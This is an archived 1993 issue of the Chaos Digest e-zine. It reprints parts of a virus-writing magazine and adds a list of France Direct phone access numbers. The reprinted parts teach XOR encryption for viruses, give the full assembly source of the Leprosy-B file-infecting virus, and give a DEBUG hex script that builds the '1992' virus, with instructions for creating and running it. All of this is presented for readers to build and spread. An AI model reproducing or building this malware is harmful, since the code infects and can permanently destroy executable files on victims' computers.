HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / KAOS1_26.ZIP / KAOS1-26

Wrap

Text File | 1993-05-18 | 27.5 KB | 610 lines

Chaos Digest Lundi 17 Mai 1993 Volume 1 : Numero 26 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.26 (17 Mai 1993) File 1--40H VMag Issue 1 Volume 1 #004-6 (reprint) File 2--France Direct vs Home Direct (repertoire) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found on some French BBS. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP from: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Issue 1 Volume 1 #004-6 (reprint) 40H Vmag Issue 1 Volume 1 00004 - SIMPLE ENCRYPTION METHODS - Encryption is perhaps one of the key parts of writing a virus. If you have a virus that prints a message to the screen, you don't want infected files to contain that message. One easy way to encrypt data is the XOR method. XOR is a matamatical function that can be used to cifer and decifer data with the same key. Example -- FF xor A1 = 5E byte to encrypt^ ^key ^result and likewise 5E xor A1 = FF So as you can see an easy way to encrypt/decrypt sensitve data is with the XOR function. A popular virus that demonstrates this teqnique is Leprosy-B. By studing the below example you are on the way to make simple encrypted viruses. ---------------------------------------------------------------------------- ;<LEPROSYB.ASM> - Leprosy-B Virus Source ; Copy-ya-right (c) 1990 by PCM2. ; ;This file is the source code to the Leprosy-B virus. It should ;be assembled with an MASM-compatible assembler; it has been tested ;and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0. ;It should be made into a .COM file before executing, with either ;the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility. ; ;This program has the potential to permanently destroy executable ;images on any disk medium. Other modifications may have been made ;subsequent to the original release by the author, either benign, ;or which could result in further harm should this program be run. ;In any case, the author assumes no responsibility for any damage ;caused by this program, incidental or otherwise. As a precaution, ;this program should not be turned over to irresponsible hands... ;(unlike people like us, that is). title "Leprosy-B Virus by PCM2, August 1990" cr equ 13 ;Carriage return ASCII code lf equ 10 ;Linefeed ASCII code tab equ 9 ;Tab ASCII code virus_size equ 666 ;Size of the virus file code_start equ 100h ;Address right after PSP in memory dta equ 80h ;Addr of default disk transfer area datestamp equ 24 ;Offset in DTA of file's date stamp timestamp equ 22 ;Offset in DTA of file's time stamp filename equ 30 ;Offset in DTA of ASCIIZ filename attribute equ 21 ;Offset in DTA of file attribute code segment 'code' ;Open code segment assume cs:code,ds:code ;One segment for both code & data org code_start ;Start code image after PSP ;--------------------------------------------------------------------- ; All executable code is contained in boundaries of procedure "main". ; The following code, until the start of "virus_code", is the non- ; encrypted CMT portion of the code to load up the real program. ;--------------------------------------------------------------------- main proc near ;Code execution begins here call encrypt_decrypt ;Decrypt the real virus code jmp random_mutation ;Put the virus into action encrypt_val db 00h ;Hold value to encrypt by here ; ---------- Encrypt, save, and restore the virus code ----------- infect_file: mov bx,handle ;Get the handle push bx ;Save it on the stack call encrypt_decrypt ;Encrypt most of the code pop bx ;Get back the handle mov cx,virus_size ;Total number of bytes to write mov dx,code_start ;Buffer where code starts in memory mov ah,40h ;DOS write-to-handle service int 21h ;Write the virus code into the file call encrypt_decrypt ;Restore the code as it was ret ;Go back to where you came from ; --------------- Encrypt or decrypt the virus code ---------------- encrypt_decrypt: mov bx,offset virus_code;Get address to start encrypt/decrypt xor_loop: ;Start cycle here mov ah,[bx] ;Get the current byte xor ah,encrypt_val ;Engage/disengage XOR scheme on it mov [bx],ah ;Put it back where we got it inc bx ;Move BX ahead a byte cmp bx,offset virus_code+virus_size ; Are we at the end? jle xor_loop ;If not, do another cycle ret ;and go back where we came from ;----------------------------------------------------------------------- ; The rest of the code from here on remains encrypted until run-time, ; using a fundamental XOR technique that changes via CMT. ;----------------------------------------------------------------------- virus_code: ;---------------------------------------------------------------------------- ; All strings are kept here in the file, and automatically encrypted. ; Please don't be a lamer and change the strings and say you wrote a virus. ; Because of Cybernetic Mutation Technology(tm), the CRC of this file often ; changes, even when the strings stay the same. ;---------------------------------------------------------------------------- exe_filespec db "*.EXE",0 com_filespec db "*.COM",0 newdir db "..",0 fake_msg db cr,lf,"Program too big to fit in memory$" virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$" virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$" virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$" virus_msg4 db cr,lf,tab,"Mutation Tech. (tm) and invented by PCM2 08/90.$" compare_buf db 20 dup (?) ; Buffer to compare files in files_found db ? files_infected db ? orig_time dw ? orig_date dw ? orig_attr dw ? handle dw ? success db ? random_mutation: ;First decide if virus is to mutate mov ah,2ch ;Set up DOS function to get time int 21h cmp encrypt_val,0 ;Is this a first-run virus copy? je install_val ;If so, install whatever you get. cmp dh,15 ;Is it less than 16 seconds? jg find_extension ;If not, don't mutate this time install_val: cmp dl,0 ;Will we be encrypting using zero? je random_mutation ;If so, get a new value. mov encrypt_val,dl ;Otherwise, save the new value find_extension: ;Locate file w/ valid extension mov files_found,0 ;Count infected files found mov files_infected,4 ;BX counts file infected so far mov success,0 find_exe: mov cx,00100111b ;Look for all flat file attributes mov dx,offset exe_filespec;Check for .EXE extension first mov ah,4eh ;Call DOS find first service int 21h cmp ax,12h ;Are no files found? je find_com ;If not, nothing more to do call find_healthy ;Otherwise, try to find healthy .EXE find_com: mov cx,00100111b ;Look for all flat file attributes mov dx,offset com_filespec;Check for .COM extension now mov ah,4eh ;Call DOS find first service int 21h cmp ax,12h ;Are no files found? je chdir ;If not, step back a directory call find_healthy ;Otherwise, try to find healthy .COM chdir: ;Routine to step back one level mov dx,offset newdir ;Load DX with address of pathname mov ah,3bh ;Change directory DOS service int 21h dec files_infected ;This counts as infecting a file jnz find_exe ;If we're still rolling, find another jmp exit_virus ;Otherwise let's pack it up find_healthy: mov bx,dta ;Point BX to address of DTA mov ax,[bx]+attribute ;Get the current file's attribute mov orig_attr,ax ;Save it mov ax,[bx]+timestamp ;Get the current file's time stamp mov orig_time,ax ;Save it mov ax,[bx]+datestamp ;Get the current file's data stamp mov orig_date,ax ;Save it mov dx,dta+filename ;Get the filename to change attribute mov cx,0 ;Clear all attribute bytes mov al,1 ;Set attribute sub-function mov ah,43h ;Call DOS service to do it int 21h mov al,2 ;Set up to open handle for read/write mov ah,3dh ;Open file handle DOS service int 21h mov handle,ax ;Save the file handle mov bx,ax ;Transfer the handle to BX for read mov cx,20 ;Read in the top 20 bytes of file mov dx,offset compare_buf ;Use the small buffer up top mov ah,3fh ;DOS read-from-handle service int 21h mov bx,offset compare_buf ;Adjust the encryption value mov ah,encrypt_val ;for accurate comparison mov [bx+6],ah mov si,code_start ;One array to compare is this file mov di,offset compare_buf ;The other array is the buffer mov ax,ds ;Transfer the DS register... mov es,ax ;...to the ES register cld repe cmpsb ;Compare the buffer to the virus jne healthy ;If different, the file is healthy! call close_file ;Close it up otherwise inc files_found ;Chalk up another fucked up file continue_search: mov ah,4fh ;Find next DOS function int 21h ;Try to find another same type file cmp ax,12h ;Are there any more files? je no_more_found ;If not, get outta here jmp find_healthy ;If so, try the process on this one! no_more_found: ret ;Go back to where we came from healthy: mov bx,handle ;Get the file handle mov ah,3eh ;Close it for now int 21h mov ah,3dh ;Open it again, to reset it mov dx,dta+filename mov al,2 int 21h mov handle,ax ;Save the handle again call infect_file ;Infect the healthy file call close_file ;Close down this operation inc success ;Indicate we did something this time dec files_infected ;Scratch off another file on agenda jz exit_virus ;If we're through, terminate jmp continue_search ;Otherwise, try another ret close_file: mov bx,handle ;Get the file handle off the stack mov cx,orig_time ;Get the date stamp mov dx,orig_date ;Get the time stamp mov al,1 ;Set file date/time sub-service mov ah,57h ;Get/Set file date and time service int 21h ;Call DOS mov bx,handle mov ah,3eh ;Close handle DOS service int 21h mov cx,orig_attr ;Get the file's original attribute mov al,1 ;Instruct DOS to put it back there mov dx,dta+filename ;Feed it the filename mov ah,43h ;Call DOS int 21h ret exit_virus: cmp files_found,6 ;Are at least 6 files infected? jl print_fake ;If not, keep a low profile cmp success,0 ;Did we infect anything? jg print_fake ;If so, cover it up mov ah,09h ;Use DOS print string service mov dx,offset virus_msg1 ;Load the address of the first line int 21h ;Print it mov dx,offset virus_msg2 ;Load the second line int 21h ;(etc) mov dx,offset virus_msg3 int 21h mov dx,offset virus_msg4 int 21h jmp terminate print_fake: mov ah,09h ;Use DOS to print fake error message mov dx,offset fake_msg int 21h terminate: mov ah,4ch ;DOS terminate process function int 21h ;Call DOS to get out of this program filler db 8 dup (90h) ;Pad out the file length to 666 bytes main endp code ends end main ---------------------------------------------------------------------------- While the virus is no great wonder the simple encryption method is what is used by almost all viruses. HR +++++ 40H Vmag Issue 1 Volume 1 00005 - 1992 VIRUS - Heres another for you virus fiends. Its been labled 1992, the latest in the line of viruses brought to you by SKISM. While the virus is no groundbreaker - the graphic display that is given by the virus will go down in history as the first of it's kind. Copy the below to a file called 1992.USR then execute -- DEBUG < 1992.USR ------------------------------------------------------------------------------ n 1992.com e 0100 EB 02 90 02 E8 03 00 E9 E7 05 51 BB 38 01 8A 2F e 0110 32 2E 03 01 88 2F 43 81 FB 00 09 7E F1 59 C3 BA e 0120 00 01 8B 1E E5 06 53 E8 E0 FF 5B B9 C8 07 B4 40 e 0130 CD 21 53 E8 D4 FF 5B C3 0D 10 1B 00 08 B1 1B 04 e 0140 C1 18 22 C6 BD 1B 01 B1 1B 15 B1 1B 01 1A 1B 00 e 0150 C1 18 04 C6 DB 02 B3 B3 14 18 19 B3 10 DF 22 22 e 0160 08 B1 1B 01 C1 18 0C C6 C0 18 05 C6 C3 C6 BD 22 e 0170 22 1A 1B 00 B1 1B 06 02 B3 B3 14 18 1D B3 10 DF e 0180 22 08 C2 C6 C6 C0 C6 DB 1B 0C B1 1B 0B B1 22 22 e 0190 1A 1B 00 B1 1B 01 02 B3 B3 14 18 23 B3 10 DF 1B e 01A0 00 08 B1 1B 12 B1 1B 0B C2 C6 C6 1A 1B 00 B1 1B e 01B0 00 02 B3 B3 14 18 21 B3 10 DF 22 13 1B 06 0B DC e 01C0 10 22 13 22 DC 10 22 13 22 DC 10 22 13 22 DC 10 e 01D0 22 13 1B 06 DC 10 22 13 22 22 DC 10 22 22 13 22 e 01E0 22 DC 10 22 22 1A 1B 00 08 B1 22 22 02 B3 B3 14 e 01F0 18 0A B3 0D 18 1A B3 02 10 DF 14 B3 B3 B3 10 DF e 0200 13 22 0B DC 02 10 18 06 B3 13 22 0B DC 22 DC 02 e 0210 10 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 e 0220 18 06 B3 13 22 0B DC 22 DC 22 DC 22 DC 02 10 B3 e 0230 22 1A 1B 00 08 B1 22 22 02 B3 B3 14 18 05 B3 0D e 0240 18 1B B3 02 10 DF 22 22 14 B3 10 DF 13 1B 06 0B e 0250 DC 10 22 13 22 22 DC 02 10 B3 22 22 13 22 0B DC e 0260 02 10 B3 13 1B 06 0B DC 10 22 13 22 DC 02 10 B3 e 0270 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 22 1A e 0280 08 C6 C6 C0 DB 22 22 02 B3 B3 14 18 05 B3 0D 18 e 0290 0E B3 12 1B 05 14 18 01 B3 02 10 DF 1B 00 08 B1 e 02A0 22 22 02 B3 B3 B3 13 22 0B DC 02 10 B3 13 22 0B e 02B0 DC 22 DC 02 10 B3 22 13 22 0B DC 02 10 B3 22 B3 e 02C0 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 e 02D0 22 B3 B3 13 22 0B DC 02 10 B3 22 1A 22 22 08 B1 e 02E0 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC D9 e 02F0 D9 02 14 B3 B3 B0 B0 0D 12 D9 14 B3 B3 B3 02 10 e 0300 DF 1B 01 08 B1 22 13 1B 06 0B DC 02 10 B3 13 22 e 0310 0B DC 02 10 B3 13 22 0B DC 02 10 B3 13 22 0B DC e 0320 02 10 B3 13 1B 06 0B DC 02 10 B3 13 22 0B DC 02 e 0330 10 B3 1B 00 13 22 0B DC 02 10 B3 22 1A 22 22 08 e 0340 B1 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC e 0350 D9 D9 02 14 B3 B3 B3 B0 0D 12 D9 14 B3 B3 02 10 e 0360 DF 1B 06 08 B1 22 22 02 18 07 B3 22 B3 B3 22 B3 e 0370 B3 22 B3 B3 22 18 07 B3 22 B3 B3 1B 00 B3 B3 B3 e 0380 22 1A 22 22 08 B1 1B 00 02 B3 B3 14 18 01 B3 0D e 0390 B3 B3 B3 02 B3 0D 18 0E B3 12 DC 18 07 D9 14 B3 e 03A0 B3 02 10 DF 1B 01 08 D8 C6 DB 1B 18 D8 C6 C6 C6 e 03B0 BD 22 22 1A 22 22 B1 1B 01 02 B3 B3 14 B3 B3 B3 e 03C0 0D 18 18 B3 02 10 DF 1B 00 08 C1 18 04 C6 C0 18 e 03D0 16 C6 DB 1B 00 B1 22 22 1A 22 22 C1 18 01 C6 BD e 03E0 02 B3 B3 0D 14 18 1F B3 02 10 DF 22 22 08 B1 1B e 03F0 07 16 22 0D 14 56 16 6A 67 22 6F 63 6C 22 75 6A e 0400 6D 22 60 70 6D 77 65 6A 76 22 7B 6D 77 22 10 22 e 0410 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D e 0420 14 18 1E B3 02 10 DF 1B 00 08 B1 1B 01 02 B3 B3 e 0430 16 22 0D 34 30 30 2E 22 51 69 6B 71 6F 22 4D 6C e 0440 67 2E 22 41 63 72 76 6B 63 6C 22 10 22 22 08 B1 e 0450 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D 14 18 10 e 0460 B3 02 10 DF 0D 14 18 05 B3 02 10 DF 1B 01 08 B1 e 0470 1B 01 02 B3 B3 16 22 0D 56 70 6B 72 71 2E 22 63 e 0480 6C 66 22 51 77 60 2F 58 67 70 6D 22 6C 6D 75 22 e 0490 10 22 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 e 04A0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 B1 1B 05 B1 e 04B0 1B 01 02 B3 B3 16 22 0D 71 6A 63 6C 69 71 22 7B e 04C0 6D 77 22 63 65 63 6B 6C 2E 22 22 75 6B 76 6A 22 e 04D0 10 22 22 08 C2 C6 C6 1A 22 22 B1 1B 01 B1 02 B3 e 04E0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 C2 C6 C6 BD e 04F0 1B 06 C1 C6 BD 22 22 02 B3 B3 16 22 0D 6A 6B 71 e 0500 22 6E 63 76 67 71 76 2C 2C 2C 1B 08 10 1B 06 1A e 0510 22 22 08 C2 C6 C6 C0 C6 C3 02 B3 B3 0D 14 18 11 e 0520 B3 02 10 DF 1B 07 08 B1 1B 06 B1 22 B1 22 22 02 e 0530 18 1A B3 1B 04 1A 1B 06 08 B1 22 22 02 B3 B3 0D e 0540 14 18 15 B3 02 10 DF 22 22 08 B1 1B 06 B1 22 C2 e 0550 18 1E C6 BD 1B 01 1A C6 C6 C0 C6 C6 DB 22 22 02 e 0560 B3 B3 0D 14 18 14 B3 02 10 DF 1B 00 08 C1 C6 C6 e 0570 C6 C0 C6 DB 1B 07 17 22 0C 51 69 6B 71 6F 22 33 e 0580 3B 3B 30 22 2F 22 54 6B 70 77 71 18 01 23 22 10 e 0590 22 08 C1 18 01 C6 1A 22 22 B1 1B 06 02 B3 B3 0D e 05A0 14 18 0A B3 02 10 DF 1B 0A 08 D8 18 04 C6 DB 1B e 05B0 00 B1 1B 07 02 B3 B3 17 1B 01 0D 45 67 76 22 63 e 05C0 22 6E 63 76 67 22 72 63 71 71 23 1B 01 10 22 08 e 05D0 B1 1B 01 1A D8 C6 DB 1B 00 02 B3 B3 0D 11 18 09 e 05E0 D9 14 D9 D9 12 DF 10 1B 07 08 B1 1B 08 B1 1B 07 e 05F0 02 18 1A B3 22 22 08 B1 1B 01 1A B1 22 02 B3 B3 e 0600 0D 11 18 19 D9 02 10 DF 1B 05 08 B1 1B 11 D8 18 e 0610 09 C6 DB 1B 01 1A 02 B3 B3 0D 12 18 22 D9 DF 10 e 0620 1B 06 08 B1 1B 11 B1 1B 12 1A 0D 12 18 21 D9 DF e 0630 10 1B 01 08 C2 18 11 C6 DB 1B 12 1A 28 02 28 2C e 0640 47 5A 47 02 5E 02 01 3D 3D 3D 3D 3D 3D 3D 3D 22 e 0650 22 22 11 01 02 02 02 28 D3 EF 48 13 68 7B D4 14 e 0660 02 02 02 02 46 4D 51 02 22 22 22 22 02 02 02 02 e 0670 02 01 3D 3D 3D 3D 3D 3D 3D 3D 47 5A 47 05 07 02 e 0680 23 02 28 D3 EF 48 22 2A 00 23 02 00 02 02 02 56 e 0690 43 50 45 47 50 2C 47 5A 47 02 02 02 95 32 44 04 e 06A0 73 04 95 32 02 56 47 4F 52 02 02 02 02 02 02 02 e 06B0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 e 06C0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 e 06D0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 e 06E0 02 02 02 02 02 07 02 2A 00 23 02 22 02 CF 22 02 e 06F0 02 BA 02 32 CF 23 3E 01 70 29 B6 2E CF 23 8A 14 e 0700 01 03 B6 28 CF 23 82 F8 1B 7E 06 3E 07 76 01 E9 e 0710 77 92 BC 3A 03 BA 02 BA 8C C2 BD 02 02 BB 06 07 e 0720 EA 07 02 E9 FC EB 88 02 E1 59 89 D5 31 C2 FE AE e 0730 3E 22 70 07 A9 E0 FA E9 4E 3E 12 71 05 82 E6 F2 e 0740 08 E2 E9 F3 3E 1A 76 11 71 1B 2E 12 00 C2 00 C2 e 0750 00 C2 00 C2 82 E6 8D 08 E2 E9 D8 83 C0 A2 02 89 e 0760 F8 E9 D0 3E 19 70 05 77 CE 82 F6 82 E9 C5 3E 1B e 0770 89 DB AE 88 CA B2 22 76 00 AE 49 30 EF 43 F1 A9 e 0780 89 C9 4B E2 A8 C1 B8 44 04 B6 18 CF 23 B6 1B CF e 0790 23 88 D2 FC C0 B6 45 BC A7 04 CF 23 B8 46 04 B6 e 07A0 39 CF 23 BB 11 02 B8 3E 04 B6 4C CF 23 3F 10 02 e 07B0 77 01 E9 53 92 B6 4D CF 23 3F 10 02 76 45 B8 66 e 07C0 04 B6 39 CF 23 B6 2D CF 23 8E 04 9E 04 8B 1C 9C e 07D0 04 B8 73 04 B6 18 CF 23 BB 05 02 B8 3C 04 B6 4C e 07E0 CF 23 3F 10 02 77 23 B6 4D CF 23 3F 10 02 77 1A e 07F0 B8 46 04 B6 39 CF 23 B6 18 8C 1C 9E 04 89 14 9C e 0800 04 CF 23 E9 B2 E9 7B 92 B6 2D CF 23 8E 04 A0 04 e 0810 8B 1C A2 04 B8 8D 04 B9 73 04 89 45 1A A1 EB 04 e 0820 89 45 14 A1 E5 04 89 45 17 BA 02 41 CF 23 8B 0C e 0830 E9 04 BA 03 41 31 CB CF 23 BA 02 3F CF 23 70 21 e 0840 A1 E7 04 B6 3D 89 1C E7 04 BB 00 02 B8 EF 04 CF e 0850 23 B6 3C 89 1C E7 04 CF 23 89 1C EF 04 83 F9 E9 e 0860 00 77 0D B6 18 8C 1C A0 04 89 14 A2 04 CF 23 EB e 0870 77 FD B8 8D 04 BA 00 3F CF 23 A1 E7 04 EA 9D FA e 0880 BA 03 55 89 1C E7 04 89 0C E5 04 89 14 EB 04 CF e 0890 23 BA 03 41 89 0C E9 04 B8 8D 04 CF 23 B6 39 B8 e 08A0 46 04 CF 23 B6 39 B8 A7 04 CF 23 BA 02 4E CF 23 e 08B0 4F 61 43 64 67 67 22 75 70 6D 76 67 22 55 6A 63 e 08C0 6E 67 23 23 23 23 23 23 1A 1A 1A 1A 1A 1A 1A 1A rcx 7C8 w q ---------------------------------------------------------------------------- The virus only infects systems running DOS 3.0 and up. It is non-resident will only infect disks with more than two directorys. When the virus is run it will seek out the first EXE file in the second directory from the root. Each run after that will begin infection of files following. The virus will jump from directory to directory when executed until it finds an uninfected EXE file to nail. On the last Friday of the month the virus will display a full color, full screen message to all. HR +++++ 40H Vmag Issue 1 Volume 1 00006 I think this magazine will be monthly, keep looking for it. Next Issue - Spotlight on Vienna Editoral on virus speed Article on Whale and if I can find it Whale source code. plus More viruses, more source code and more insight... ------------------------------ From: jbcondat@attmail.com (Chaos Computer Club France ) Date: 05 May 93 23:59:59 GMT Subject: File 2--France Direct vs Home Direct (repertoire) Repost from: telecom13.303.3@eecs.nwu.edu The France Direct service offer to all cardholders the possibility to obtain directly and freely a French operator from some foreign countries. The price of the phone call begin as soon as the correspondant begin the call. Call the following France Direct phone numbers from: Normal User Automatic version Carte Pastel Intl.' users Allemagne 0130 80 00 33 Argentine 0033 800 999 111 Australie 00 14 881 330 Autriche 022 903 033 Belgique 078 11 00 33 Bresil 0008 033 Canada 1800 363 40 33 1800 463 62 26 Chine 108 33 Colombie 980 33 0057 980 33 00 10 Coree (Rep) 009 0330 Danemark 800 100 33 Emirats Arab 800 1 9971 Espagne 900 99 00 33 Etats-Unis 800 537 2623 800 47 372 623 800 937 2623 800 872 7835 800 727 8350 Finlande 98 00 10 330 Gabon 00 033 Hongrie 00 800 033 11 Hong-Kong 800 00 33 800 10 33 Irlande 800 55 10 33 800 55 00 33 Israel 177 330 2727 Italie 172 00 33 Japon 00 39 331 00 31 00 55 33 Luxembourg 0 800 00 33 Malaisie 800 00 33 Norvege 050 19933 Nouvelle-Zelande 000 9 33 Pays-Bas 06 022 2033 06 022 2533 Portugal 0505 00 33 Royaume-Uni 0800 890033 Singapour 800 33 00 800 33 11 Suede 02 07 99 033 02 07 99 133 Tchecoslovaquie 00 42 00 3301 Turquie 99 800 33 11 77 For the foreign people visiting France, some phone call exist in France for a quick and direct access to local facilities: Algerie 19 00 213 Allemagne 19 00 49 Argentine 19 00 54 Australie 19 00 61 Autriche 19 00 43 Belgique 19 00 32 Bresil 19 00 55 Canada 19 00 16 Colombie 19 00 57 Coree (Rep) 19 00 82 Danemark 19 00 45 EmiratsArabes 19 00 971 Espagne 19 00 34 Etats-Unis 19 00 11 (AT&T) 19 00 19 (MCI) 19 00 87 (Sprint) Finlande 19 00 358 Gabon 19 00 241 Hong-Kong 19 00 852 19 02 852 Hongrie 19 00 36 Irlande 19 00 353 Italie 19 00 39 Japon 19 00 81 19 02 81 Luxembourg 19 00 352 Norvege 19 00 47 Nouvelle-Zelande 19 00 64 Pays-Bas 19 00 31 Portugal 19 00 351 Royaume-Uni 19 00 44 Singapour 19 00 65 Suede 19 00 46 Turquie 19 00 90 ------------------------------ End of Chaos Digest #1.26 ************************************